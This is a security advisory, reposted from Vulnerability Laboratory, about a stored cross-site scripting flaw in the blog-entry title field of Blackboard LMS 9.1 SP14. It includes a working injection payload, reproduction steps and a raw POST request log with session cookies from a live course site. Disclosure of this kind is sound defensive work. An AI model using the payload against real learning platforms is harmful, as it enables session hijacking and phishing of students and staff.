Blackboard LMS 9.1 SP14 Cross Site Scripting

2017-01-12T00:00:00
ID PACKETSTORM:140454
Type packetstorm
Reporter Lawrence Amer
Modified 2017-01-12T00:00:00

Description

                                        
                                            `Document Title:  
===============  
BlackBoard LMS 9.1 SP14 - (Title) Persistent Vulnerability   
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1901  
  
  
Release Date:  
=============  
2017-01-10  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1901  
  
  
Common Vulnerability Scoring System:  
====================================  
3.6  
  
  
Product & Service Introduction:  
===============================  
Bring your classrooms online with Blackboard's learning management system (LMS) offerings. With tools to engage,   
collaborate, grade, track assignments and more, you can reach students to ensure they effectively interact with   
the content and curriculum. Regardless of the environment, there are core components of online learning that   
enrich the learning process.  
  
(Copy of the Homepage: http://www.blackboard.com/learning-management-system/lms-software.aspx )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a stored cross site scripting vulnerability in the BlackBoard LMS 9.1 SP14 web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-01-10: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
BlackBoard Inc.  
Product: Blackboard LMS - Content Management System 9.1 SP 14  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting vulnerability has been discovered in the official BlackBoard LMS web-application.  
The issue allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module.   
  
Remote attackers are able to inject malicious java script code into blackboard blog module `Groups -- Group Blogs`, users   
with low privileged access are able to inject via blog entries name [blog post title] input. The vulnerability is located   
in the title of the blog entries. The vulnerable parameter `title` becomes stored during the save procedure which results   
in a persistent attack. The request method to inject the malicious script code is POST. We discovered during the tests   
that any user (student) can create groups to share blog entries with others users and instructors(admins).  
  
The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.   
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction.   
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external   
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.  
  
Request Method(s):  
[+] POST   
  
Vulnerable Module(s):   
[+] ./webapps/blogs-journals/execute/editBlogEntry  
  
Vulnerable Parameter(s):  
[+] title  
  
  
Proof of Concept (PoC):  
=======================  
The application-side web vulnerabilities can be exploited by remote attackers with low privileged application user account and low or medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce ...  
1. User(studnet) goes to groups module > Group Blog .   
2. Add new Blog Entry and fill the title field with persistent payload ['><img src=x onerror=prompt(vulnlab)>] and save it   
3. All group users besides instructor(admin) is on XSS impact remotely   
4. User(student) can use this direct link filled with correct blog entries and course id for remote exploitation   
Note: https://www.coursesites.com/webapps/blogs-journals/execute/viewBlog?course_id=[COURSEID]&blog_id=[BLOGID]&type=blogs&group_id=[GROUPID]#entry[ENTRYID]  
5. Successfully repoduce of the vulnerability!  
  
  
--- PoC Session Logs [POST] ---  
POST /webapps/blogs-journals/execute/editBlogEntry HTTP/1.1  
Host: www.coursesites.com  
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Referer: https://www.coursesites.com/webapps/blogs-journals/execute/editBlogEntry?course_id=_431252_1&editBlogEntryAction=createBlogEntry&type=blogs&blog_id=_312829_1&group_id=_181115_1  
Cookie: JSESSIONID=58EB3946445655C52261E889490C91B3; __utma=154552106.1787260759.1470597563.1470656643.1470739482.4;   
COOKIE_CONSENT_ACCEPTED=true; NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d149145525d5f4f58455e445a4a42378b;   
session_id=F79695995C5FFC248070A1866553BD4F; s_session_id=399624D4A37441544BECB62DDCA5D814;   
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=  
---------------------------1940990443924357844937052572  
Content-Length: 2614  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="blackboard.platform.security.NonceUtil.nonce"  
f1d585ce-9d86-4d1b-b7e1-d344ac3122ec  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="isAddForm"  
true  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="course_id"  
_431252_1  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="blog_entry_id"  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="blog_id"  
_312829_1  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="group_id"  
_181115_1  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="owner_id"  
_7028078_1  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="type"  
blogs  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="submitAction"  
post  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="editBlogEntryAction"  
add  
-----------------------------1940990443924357844937052572  
Content-Disposition: form-data; name="title"  
  
  
Reference(s):  
http://bb-lms.localhost:8080/  
http://bb-lms.localhost:8080/webapps/  
http://bb-lms.localhost:8080/webapps/blogs-journals/  
http://bb-lms.localhost:8080/webapps/blogs-journals/execute/  
http://bb-lms.localhost:8080/webapps/blogs-journals/execute/editBlogEntry  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )  
  
  
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=========================  
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